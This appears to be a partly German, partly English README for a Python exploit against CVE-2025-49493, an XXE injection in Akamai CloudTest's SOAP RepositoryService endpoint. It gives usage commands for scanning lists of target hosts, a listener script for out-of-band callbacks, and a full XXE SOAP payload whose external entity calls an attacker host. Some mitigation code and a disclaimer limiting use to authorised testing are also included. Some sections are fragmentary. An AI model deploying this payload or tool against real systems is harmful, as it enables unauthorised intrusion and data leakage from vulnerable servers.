
This is a Python-based exploit for CVE-2025-49493, which affects Akamai CloudTest versions before 60 2025.06.02 (12988). The vulnerability allows for XML External Entity (XXE) injection through the SOAP service endpoint.
Dies ist ein Python-basierter Exploit für CVE-2025-49493, der Akamai CloudTest-Versionen vor 60 2025.06.02 (12988) betrifft. Die Schwachstelle ermöglicht XML External Entity (XXE)-Injection über den SOAP-Dienstendpunkt.
Die Schwachstelle existiert im SOAP-Endpunkt /concerto/services/RepositoryService, wo XML-Eingaben ohne ordnungsgemäße Bereinigung externer Entitäten verarbeitet werden. Ein Angreifer kann bösartige XML-Payloads erstellen, um XXE-Angriffe auszulösen, die möglicherweise zu Folgendem führen:
Installieren Sie die erforderlichen Pakete:
pip install -r requirements.txt
Oder manuell installieren:
pip install requests urllib3 colored pyfiglet
python main.py targets.txt xxe.attacker.com
# With custom timeout
python main.py targets.txt collaborator.burp.com --timeout 20
# Using interactsh for OOB detection
python main.py targets.txt attacker.interactsh.com
positional arguments:
targets Target file containing list of Akamai CloudTest hosts
xxe_server XXE server to capture requests (e.g., attacker.com or IP)
optional arguments:
-h, --help show this help message and exit
--timeout TIMEOUT Request timeout in seconds (default: 10)
Erstellen Sie eine Datei targets.txt mit einem Ziel pro Zeile:
https://example-cloudtest.akamai.com
https://demo-cloudtest.example.com
https://test-cloudtest.internal.company.com
https://cloudtest.example.org
go install -v github.com/projectdiscovery/interactsh/cmd/interactsh-client@latestinteractsh-clientRichten Sie einen einfachen HTTP-Server ein, um Anfragen zu erfassen:
# simple_server.py
import http.server
import socketserver
class RequestHandler(http.server.SimpleHTTPRequestHandler):
def do_GET(self):
print(f"XXE Request received: {self.path}")
print(f"Headers: {self.headers}")
super().do_GET()
with socketserver.TCPServer(("", 8000), RequestHandler) as httpd:
print("Server running on port 8000")
httpd.serve_forever()
Der Exploit verwendet die folgende XXE-Payload-Struktur:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE soapenv:Envelope [
<!ENTITY xxe SYSTEM "http://attacker.com">
]>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:rep="http://example.com/services/repository">
<soapenv:Header/>
<soapenv:Body>
<rep:getUIBundleObjectXml>
<rep:uiBundleRequestXml>&xxe;</rep:uiBundleRequestXml>
</rep:getUIBundleObjectXml>
</soapenv:Body>
</soapenv:Envelope>
Sofortmaßnahmen:
Langfristige Lösungen:
Sichere XML-Verarbeitung:
# Disable external entities in XML parsers
import xml.etree.ElementTree as ET
parser = ET.XMLParser()
parser.parser.DefaultHandler = lambda data: None
parser.parser.ExternalEntityRefHandler = lambda *args: False
Eingabevalidierung:
Dieses Tool wird ausschließlich zu Bildungs- und autorisierten Testzwecken bereitgestellt. Die Benutzer sind dafür verantwortlich, sicherzustellen, dass sie vor dem Testen von Systemen über die entsprechende Autorisierung verfügen. Die Autoren übernehmen keine Verantwortung für Missbrauch oder Schäden, die durch dieses Tool verursacht werden.
Dieses Projekt ist unter der MIT-Lizenz lizenziert – siehe die Datei LICENSE für Details.